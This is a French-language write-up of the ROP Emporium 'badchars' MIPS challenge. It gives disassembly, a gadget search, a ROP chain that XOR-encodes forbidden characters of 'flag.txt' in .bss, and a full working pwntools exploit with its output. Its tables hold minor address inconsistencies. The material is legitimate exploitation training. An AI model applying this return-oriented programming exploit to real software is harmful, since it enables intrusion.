Contents

Ropemporium mipsel badchars

badchars mipsel

Introduction.

Le pitch de cet exercie se trouve sur cette page :

badchars

Le programme est semblable au précédent, write4 mais certains caractères présent dans le nom de fichier sont interdits

Découverte

Contenu du challenge

-rwxr-xr-x 1 jce jce 7948 10 juil.  2020 badchars_mipsel
-rw-r--r-- 1 jce jce   33  2 juil.  2020 flag.txt
-rwxr-xr-x 1 jce jce 7568 10 juil.  2020 libbadchars_mipsel.so

Première execution

./badchars_mipsel
badchars by ROP Emporium
MIPS

badchars are: 'x', 'g', 'a', '.'
> flag.txt
Thank you!

En fait, les caractères interdits sont remplacés par une valeur fixe.

Analyse

Le programe principal

La fonction main appelle la fonction vulnérable située dans la librairie comme dans write4.

┌ 76: int main (int32_t argc);
│           ; arg int32_t argc @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           0x00400890      e0ffbd27       addiu sp, sp, -0x20
│           0x00400894      1c00bfaf       sw ra, (var_1ch)
│           0x00400898      1800beaf       sw fp, (var_18h)
│           0x0040089c      25f0a003       move fp, sp
│           0x004008a0      42001c3c       lui gp, 0x42                ; 'B'
│           0x004008a4      10909c27       addiu gp, gp, -0x6ff0
│           0x004008a8      1000bcaf       sw gp, (var_10h)
│           0x004008ac      5080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x411060:4]=0x400a90 sym.imp.pwnme
│           0x004008b0      25c84000       move t9, v0
│           0x004008b4      09f82003       jalr t9
│           0x004008b8      00000000       nop
│           0x004008bc      1000dc8f       lw gp, (var_10h)
│           0x004008c0      25100000       move v0, zero
│           0x004008c4      25e8c003       move sp, fp
│           0x004008c8      1c00bf8f       lw ra, (var_1ch)
│           0x004008cc      1800be8f       lw fp, (var_18h)
│           0x004008d0      2000bd27       addiu sp, sp, 0x20
│           0x004008d4      0800e003       jr ra
└           0x004008d8      00000000       nop

La fonction usefulfunction n’est pas utilisée mais appelle la fonction print_file de la librairie la rendant ainsi accessible.

┌ 84: sym.usefulFunction (int32_t arg1, int32_t arg_10h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg1 @ a0
│           0x004008dc      e0ffbd27       addiu sp, sp, -0x20
│           0x004008e0      1c00bfaf       sw ra, (var_1ch)
│           0x004008e4      1800beaf       sw fp, (var_18h)
│           0x004008e8      25f0a003       move fp, sp
│           0x004008ec      42001c3c       lui gp, 0x42                ; 'B'
│           0x004008f0      10909c27       addiu gp, gp, -0x6ff0
│           0x004008f4      1000bcaf       sw gp, (var_10h)
│           0x004008f8      4000023c       lui v0, 0x40                ; '@'
│           0x004008fc      300b4424       addiu a0, v0, 0xb30         ; 0x400b30 ; "nonexistent" ; arg1 ; str.nonexistent
│           0x00400900      4080828f       lw v0, -sym.imp.print_file(gp) ; [0x411050:4]=0x400ab0 sym.imp.print_file
│           0x00400904      25c84000       move t9, v0
│           0x00400908      09f82003       jalr t9
│           0x0040090c      00000000       nop
│           0x00400910      1000dc8f       lw gp, (var_10h)
│           0x00400914      00000000       nop
│           0x00400918      25e8c003       move sp, fp
│           0x0040091c      1c00bf8f       lw ra, (var_1ch)
│           0x00400920      1800be8f       lw fp, (var_18h)
│           0x00400924      2000bd27       addiu sp, sp, 0x20
│           0x00400928      0800e003       jr ra
└           0x0040092c      00000000       nop

Une référence designe des gadgets embarqués :

        ;-- usefulGadgets:
        0x00400930      0c00b98f       lw t9, 0xc(sp)
        0x00400934      0800a88f       lw t0, 8(sp)
        0x00400938      0400a98f       lw t1, 4(sp)
        0x0040093c      000009ad       sw t1, (t0)
        0x00400940      09f82003       jalr t9
        0x00400944      1000bd23       addi sp, sp, 0x10
        0x00400948      0c00b98f       lw t9, 0xc(sp)
        0x0040094c      0800a88f       lw t0, 8(sp)
        0x00400950      0400a98f       lw t1, 4(sp)
        0x00400954      00002a8d       lw t2, (t1)
        0x00400958      26400a01       xor t0, t0, t2
        0x0040095c      000028ad       sw t0, (t1)
        0x00400960      09f82003       jalr t9
        0x00400964      1000bd23       addi sp, sp, 0x10
        0x00400968      0800a48f       lw a0, 8(sp)
        0x0040096c      0400b98f       lw t9, 4(sp)
        0x00400970      09f82003       jalr t9
        0x00400974      0c00bd23       addi sp, sp, 0xc

La librairie libbadchars_mipsel.so

La fonction vulnérable effectue la lecture du message et le contrôle / remplacement des caractères interdits : ‘x’, ‘g’, ‘a’, ‘.’

┌ 464: sym.pwnme (int32_t arg1, int32_t arg3, int32_t arg_10h, int32_t arg_18h, int32_t arg_1ch, int32_t arg_20h, int32_t arg_28h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; arg int32_t arg_18h @ fp+0x18
│           ; arg int32_t arg_1ch @ fp+0x1c
│           ; arg int32_t arg_20h @ fp+0x20
│           ; arg int32_t arg_28h @ fp+0x28
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; var int32_t var_20h @ sp+0x20
│           ; var signed int var_28h @ sp+0x28
│           ; var int32_t var_48h @ sp+0x48
│           ; var int32_t var_4ch @ sp+0x4c
│           ; arg int32_t arg1 @ a0
│           ; arg int32_t arg3 @ a2
│           0x00000880      02001c3c       lui gp, 2
│           0x00000884      70879c27       addiu gp, gp, -0x7890
│           0x00000888      21e09903       addu gp, gp, t9
│           0x0000088c      b0ffbd27       addiu sp, sp, -0x50
│           0x00000890      4c00bfaf       sw ra, (var_4ch)
│           0x00000894      4800beaf       sw fp, (var_48h)
│           0x00000898      25f0a003       move fp, sp
│           0x0000089c      1000bcaf       sw gp, (var_10h)
│           0x000008a0      4080828f       lw v0, -0x7fc0(gp)          ; [0x11030:4]=0
│           0x000008a4      0000428c       lw v0, (v0)
│           0x000008a8      25380000       move a3, zero
│           0x000008ac      02000624       addiu a2, zero, 2           ; arg3
│           0x000008b0      25280000       move a1, zero
│           0x000008b4      25204000       move a0, v0
│           0x000008b8      4880828f       lw v0, -sym.imp.setvbuf(gp) ; [0x11038:4]=0xc20 sym.imp.setvbuf
│           0x000008bc      25c84000       move t9, v0
│           0x000008c0      09f82003       jalr t9
│           0x000008c4      00000000       nop
│           0x000008c8      1000dc8f       lw gp, (var_10h)
│           0x000008cc      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x000008d0      b40c4424       addiu a0, v0, 0xcb4         ; arg1
│           0x000008d4      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xc00 sym.imp.puts
│           0x000008d8      25c84000       move t9, v0
│           0x000008dc      09f82003       jalr t9
│           0x000008e0      00000000       nop
│           0x000008e4      1000dc8f       lw gp, (var_10h)
│           0x000008e8      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x000008ec      d00c4424       addiu a0, v0, str.MIPS_n    ; 0xcd0 ; "MIPS\n" ; arg1
│           0x000008f0      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xc00 sym.imp.puts
│           0x000008f4      25c84000       move t9, v0
│           0x000008f8      09f82003       jalr t9
│           0x000008fc      00000000       nop
│           0x00000900      1000dc8f       lw gp, (var_10h)
│           0x00000904      2800c227       addiu v0, fp, 0x28
│           0x00000908      20000624       addiu a2, zero, 0x20        ; arg3
│           0x0000090c      25280000       move a1, zero
│           0x00000910      25204000       move a0, v0
│           0x00000914      4480828f       lw v0, -sym.imp.memset(gp)  ; [0x11034:4]=0xc30 sym.imp.memset
│           0x00000918      25c84000       move t9, v0
│           0x0000091c      09f82003       jalr t9
│           0x00000920      00000000       nop
│           0x00000924      1000dc8f       lw gp, (var_10h)
│           0x00000928      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x0000092c      d80c4424       addiu a0, v0, str.badchars_are:_x__g__a__. ; 0xcd8 ; "badchars are: 'x', 'g', 'a', '.'" ; arg1
│           0x00000930      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xc00 sym.imp.puts
│           0x00000934      25c84000       move t9, v0
│           0x00000938      09f82003       jalr t9
│           0x0000093c      00000000       nop
│           0x00000940      1000dc8f       lw gp, (var_10h)
│           0x00000944      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x00000948      fc0c4424       addiu a0, v0, 0xcfc         ; arg1
│           0x0000094c      6480828f       lw v0, -sym.imp.printf(gp)  ; [0x11054:4]=0xbd0 sym.imp.printf
│           0x00000950      25c84000       move t9, v0
│           0x00000954      09f82003       jalr t9
│           0x00000958      00000000       nop
│           0x0000095c      1000dc8f       lw gp, (var_10h)
│           0x00000960      2800c227       addiu v0, fp, 0x28
│           0x00000964      00020624       addiu a2, zero, 0x200       ; arg3
│           0x00000968      25284000       move a1, v0
│           0x0000096c      25200000       move a0, zero
│           0x00000970      6c80828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x1105c:4]=0xbc0 sym.imp.read
│           0x00000974      25c84000       move t9, v0
│           0x00000978      09f82003       jalr t9
│           0x0000097c      00000000       nop
│           0x00000980      1000dc8f       lw gp, (var_10h)
│           0x00000984      1800c2af       sw v0, (var_18h)
│           0x00000988      1c00c0af       sw zero, (var_1ch)
│       ┌─< 0x0000098c      1d000010       b 0xa04
│       │   0x00000990      00000000       nop
│       │   ; CODE XREF from sym.pwnme @ 0xa10
│      ┌──> 0x00000994      2000c0af       sw zero, (var_20h)
│     ┌───< 0x00000998      13000010       b 0x9e8
│     │╎│   0x0000099c      00000000       nop
│     │╎│   ; CODE XREF from sym.pwnme @ 0x9f0
│    ┌────> 0x000009a0      1c00c28f       lw v0, (var_1ch)
│    ╎│╎│   0x000009a4      1800c327       addiu v1, fp, 0x18
│    ╎│╎│   0x000009a8      21106200       addu v0, v1, v0
│    ╎│╎│   0x000009ac      10004380       lb v1, (var_28h)
│    ╎│╎│   0x000009b0      2000c28f       lw v0, (var_20h)
│    ╎│╎│   0x000009b4      5880848f       lw a0, -obj.badcharacters(gp) ; [0x11048:4]=0xcb0 sym..rodata
│    ╎│╎│   0x000009b8      21108200       addu v0, a0, v0             ; arg1
│    ╎│╎│   0x000009bc      00004280       lb v0, (v0)                 ; [0xcb0:1]=120 ; "xga.badchars by ROP Emporium"
│   ┌─────< 0x000009c0      06006214       bne v1, v0, 0x9dc
│   │╎│╎│   0x000009c4      00000000       nop
│   │╎│╎│   0x000009c8      1c00c28f       lw v0, (var_1ch)
│   │╎│╎│   0x000009cc      1800c327       addiu v1, fp, 0x18
│   │╎│╎│   0x000009d0      21106200       addu v0, v1, v0
│   │╎│╎│   0x000009d4      ebff0324       addiu v1, zero, -0x15
│   │╎│╎│   0x000009d8      100043a0       sb v1, (var_28h)
│   │╎│╎│   ; CODE XREF from sym.pwnme @ 0x9c0
│   └─────> 0x000009dc      2000c28f       lw v0, (var_20h)
│    ╎│╎│   0x000009e0      01004224       addiu v0, v0, 1
│    ╎│╎│   0x000009e4      2000c2af       sw v0, (var_20h)
│    ╎│╎│   ; CODE XREF from sym.pwnme @ 0x998
│    ╎└───> 0x000009e8      2000c28f       lw v0, (var_20h)
│    ╎ ╎│   0x000009ec      0400422c       sltiu v0, v0, 4
│    └────< 0x000009f0      ebff4014       bnez v0, 0x9a0
│      ╎│   0x000009f4      00000000       nop
│      ╎│   0x000009f8      1c00c28f       lw v0, (var_1ch)
│      ╎│   0x000009fc      01004224       addiu v0, v0, 1
│      ╎│   0x00000a00      1c00c2af       sw v0, (var_1ch)
│      ╎│   ; CODE XREF from sym.pwnme @ 0x98c
│      ╎└─> 0x00000a04      1c00c38f       lw v1, (var_1ch)
│      ╎    0x00000a08      1800c28f       lw v0, (var_18h)
│      ╎    0x00000a0c      2b106200       sltu v0, v1, v0
│      └──< 0x00000a10      e0ff4014       bnez v0, 0x994
│           0x00000a14      00000000       nop
│           0x00000a18      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x00000a1c      000d4424       addiu a0, v0, str.Thank_you_ ; 0xd00 ; "Thank you!" ; arg1
│           0x00000a20      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xc00 sym.imp.puts
│           0x00000a24      25c84000       move t9, v0
│           0x00000a28      09f82003       jalr t9
│           0x00000a2c      00000000       nop
│           0x00000a30      1000dc8f       lw gp, (var_10h)
│           0x00000a34      00000000       nop
│           0x00000a38      25e8c003       move sp, fp
│           0x00000a3c      4c00bf8f       lw ra, (var_4ch)
│           0x00000a40      4800be8f       lw fp, (var_48h)
│           0x00000a44      5000bd27       addiu sp, sp, 0x50
│           0x00000a48      0800e003       jr ra
└           0x00000a4c      00000000       nop

La lecture est réalisée comme dans write 4

    │           0x0000095c      1000dc8f       lw gp, (var_10h)
    │           0x00000960      2800c227       addiu v0, fp, 0x28
    │           0x00000964      00020624       addiu a2, zero, 0x200       ; arg3
    │           0x00000968      25284000       move a1, v0
    │           0x0000096c      25200000       move a0, zero
    │           0x00000970      6c80828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x1105c:4]=0xbc0 sym.imp.read

L’offset de débordement est le même que pour write4 0x24 ( 0x50 - 0x28 ). La taille de lecture de 512 est assez conséquente.

Constuction de l’attaque

Le plan

On va d’abord ecrire une flag.txt avec les caractères interdits modifié par une xor.

Ce qui nous donne avec un xor 3 : ‘flbd-t{t’.

Puis xorer de nouveau chaque caractère en mémoire pour obtenir la valeur initiale.

Pour la première partie envisage de procéder comme pour write4

Recherche de gadgets

Pour l’ecriture en memoire.

On recherche un gadget de type “store word”

# ROPgadget --binary badchars_mipsel --depth 6| grep "sw"
0x004008a4 : addiu $gp, $gp, -0x6ff0 ; sw $gp, 0x10($sp) ; lw $v0, -0x7fb0($gp) ; move $t9, $v0 ; jalr $t9 ; nop
0x00400a54 : addiu $s0, $v1, 0xff0 ; sw $ra, 0x24($sp) ; jalr $t9 ; addiu $s0, $s0, -4
0x00400a4c : addiu $s1, $zero, -1 ; sw $s0, 0x1c($sp) ; addiu $s0, $v1, 0xff0 ; sw $ra, 0x24($sp) ; jalr $t9 ; addiu $s0, $s0, -4
0x0040082c : addiu $v0, $v0, 1 ; sll $v1, $v0, 2 ; sw $v0, 0x1074($s1) ; addu $v0, $s2, $v1 ; lw $t9, ($v0) ; jalr $t9 ; nop
0x004008a0 : lui $gp, 0x42 ; addiu $gp, $gp, -0x6ff0 ; sw $gp, 0x10($sp) ; lw $v0, -0x7fb0($gp) ; move $t9, $v0 ; jalr $t9 ; nop
0x00400724 : lw $t0, -0x7fe0($gp) ; sw $t0, 0x10($sp) ; sw $v0, 0x14($sp) ; sw $sp, 0x18($sp) ; lw $t9, -0x7fbc($gp) ; jalr $t9 ; nop
0x0040094c : lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400934 : lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400950 : lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400938 : lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400954 : lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0x0040092c : nop ; lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400830 : sll $v1, $v0, 2 ; sw $v0, 0x1074($s1) ; addu $v0, $s2, $v1 ; lw $t9, ($v0) ; jalr $t9 ; nop
0x004008f4 : sw $gp, 0x10($sp) ; lui $v0, 0x40 ; addiu $a0, $v0, 0xb30 ; lw $v0, -0x7fc0($gp) ; move $t9, $v0 ; jalr $t9 ; nop
0x004008a8 : sw $gp, 0x10($sp) ; lw $v0, -0x7fb0($gp) ; move $t9, $v0 ; jalr $t9 ; nop
0x00400688 : sw $ra, 0x1c($sp) ; lw $v0, -0x7fb8($gp) ; beqz $v0, 0x4006a4 ; nop ; lw $t9, -0x7fb8($gp) ; jalr $t9 ; nop
0x00400a58 : sw $ra, 0x24($sp) ; jalr $t9 ; addiu $s0, $s0, -4
0x00400a50 : sw $s0, 0x1c($sp) ; addiu $s0, $v1, 0xff0 ; sw $ra, 0x24($sp) ; jalr $t9 ; addiu $s0, $s0, -4
0x00400a48 : sw $s1, 0x20($sp) ; addiu $s1, $zero, -1 ; sw $s0, 0x1c($sp) ; addiu $s0, $v1, 0xff0 ; sw $ra, 0x24($sp) ; jalr $t9 ; addiu $s0, $s0, -4
0x00400730 : sw $sp, 0x18($sp) ; lw $t9, -0x7fbc($gp) ; jalr $t9 ; nop
0x0040095c : sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
0x0040095c : sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10 ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc
0x00400728 : sw $t0, 0x10($sp) ; sw $v0, 0x14($sp) ; sw $sp, 0x18($sp) ; lw $t9, -0x7fbc($gp) ; jalr $t9 ; nop
0x0040093c : sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0x00400834 : sw $v0, 0x1074($s1) ; addu $v0, $s2, $v1 ; lw $t9, ($v0) ; jalr $t9 ; nop
0x0040072c : sw $v0, 0x14($sp) ; sw $sp, 0x18($sp) ; lw $t9, -0x7fbc($gp) ; jalr $t9 ; nop
0x00400958 : xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10

La plus intéressant est le suivant qui permet le chargement des registres et l’ecriture en memoire :

0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10

Recherche d’un gadget effectuant un xor.

On trouve.

0x00400948 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
  • lw t9, 0xc(sp) Charge t9 en vue du jump à la fin
  • lw t0, 8(sp) Charge t0 depuis la pile pour le xor
  • lw t1, 4(sp) Charge t1 avec une adresse du la pile
  • lw t2, (t1) Charge dans t2 le contenur de cette adrress
  • xor t0, t0, t2 Effectue le xor entre les deux
  • sw t0, (t1) Sauve le resultat a la même adresse
  • jalr t9 Appelle l’adress chagée dans t9 au départ
  • addi sp, sp, 0x10 Fixe la valeur de la pile.

Pour appeller la fonction avec un argument.

# ROPgadget --binary badchars_mipsel --depth 4| grep "lw \$a0"
0x00400964 : addi $sp, $sp, 0x10 ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc
0x00400968 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc

On retient 0x00400968.

  • lw a0, 8(sp) Charge a0 avec l’adresse en argument
  • lw t9, 4(sp) Charge l’adresse cible
  • jalr t9 Effecue l’appel
  • addi sp, sp, 0xc Ajuste la pile au moment du call.

La chaine de ROP.

ROP entry gadget comment
 ———-  Ecriture de “flbd” dans .bss
0x00400930  lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0xdeadbeef junk
0x67626c66 ‘flbd’ pour `t1
0x00001070 @.bss pour t0
0x00400930 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9 en vue d’ecrire la seconde partie
 ———-  Ecriture de “-t{t”" dans .bss+4
0xdeadbeef junk
0x747b742d ‘-t{t’ pour t1
0x00001074 @.bss+4 pour t0
0x00400948 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9
———-   Sequence de xor
———-   bss[2]=bss[2]^3
0xdeadbeef junk
0x00001072 @.bss+2 pour t1
3 3 pour t0
0x00400948 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9
 ———-  bss[3]=bss[3]^3
0xdeadbeef junk
0x00001072 @.bss+2 pour t1
3 3 pour t0
0x00400948 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9
 ———- bss[4]=bss[4]^3 —–
0xdeadbeef junk
0x00001074 @.bss+2 pour t1
3 3 pour t0
0x00400948 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9
 ———- bss[6]=bss[6]^3
0xdeadbeef junk
0x00001076 @.bss+2 pour t1
3 3 pour t0
0x00400968 lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop Pour t9 gadget de call
 ———- ———- Appel print_file(@.bss)
0xdeadbeef junk
0x00400a90 print_file@plt pour t9
0x00001064 @.bss pour a0

Exploitation

Script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time


# ROPemporium badchars MIPSEL

# Set up pwntools for the correct architecture
elf = context.binary = ELF('badchars_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

gs='''
b *pwnme+444
c
'''

def xorchain(chain, bytes, mask):
    r=b""
    for i,c in enumerate(chain):
        if bytes&0x80:
            c=c^mask
        r+=chr(c).encode()
        bytes= bytes<<1
    return r

# Gadgets
# lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
g_write = 0x00400930

# lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; lw $t2, ($t1) ; xor $t0, $t0, $t2 ; sw $t0, ($t1) ; jalr $t9 ; addi $sp, $sp, 0x10
g_xor = 0x00400948

# lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc
g_set_a0_and_call = 0x00400968

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


print_file = elf.plt["print_file"]
bssaddr = elf.get_section_by_name('.bss').header['sh_addr']

log.info(f"{bssaddr=:x}")
log.info(f"{print_file=:x}")



offset=0x24
flagxored = xorchain(b"flag.txt",0b00111010,3)

PL=b"A"*offset
# first gadget write "flbd"
PL+=p32(g_write)
PL+=p32(0xdeadbeef)        # junk
PL+=flagxored[:4]          # t1
PL+=p32(bssaddr)           # t0
PL+=p32(g_write)           # t9 => next gadget

# Secon gadget write "-t{t"
PL+=p32(0xf00df00d) 	   # junk
PL+=flagxored[4:8]         # t1
PL+=p32(bssaddr+4)         # t0

# xor each modified char
# 2 3 4 6
for idx in [2,3,4,6]:
    PL+=p32(g_xor)          # t9 => next gadget pop by prior gadget
    PL+=p32(0xdeadbeef)     # junk
    PL+=p32(bssaddr+idx)    # t1
    PL+=p32(3)              # t0

PL+=p32(g_set_a0_and_call)  # t9 => next gadget for prior
PL+=p32(0xaaaaaaaa)         # junk for addi $sp, $sp, 0x10

# call print_file(@.bss)
PL+=p32(print_file)        # t9
PL+=p32(bssaddr)           # a0

log.info(f"Payload size : 0x{len(PL):x}")
log.info(PL.hex())
io.sendlineafter(b"> ",PL)

io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()

Déroulement du script

python3 solve.py
[*] '/home/jce/w/ropemporium/mipsel/05_badchars/badchars_mipsel'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[+] Starting local process '/home/jce/w/ropemporium/mipsel/05_badchars/badchars_mipsel': pid 24063
[*] bssaddr=411070
[*] print_file=400aac
[*] Payload size : 0x94
[*] 41414141414141414141414141414141414141414141414141414141414141414141414130094000efbeadde666c626470104100300940000df00df02d747b747410410048094000efbeadde721041000300000048094000efbeadde731041000300000048094000efbeadde741041000300000048094000efbeadde761041000300000068094000aaaaaaaaac0a400070104100
[+] flag : ROPE{a_placeholder_32byte_flag!}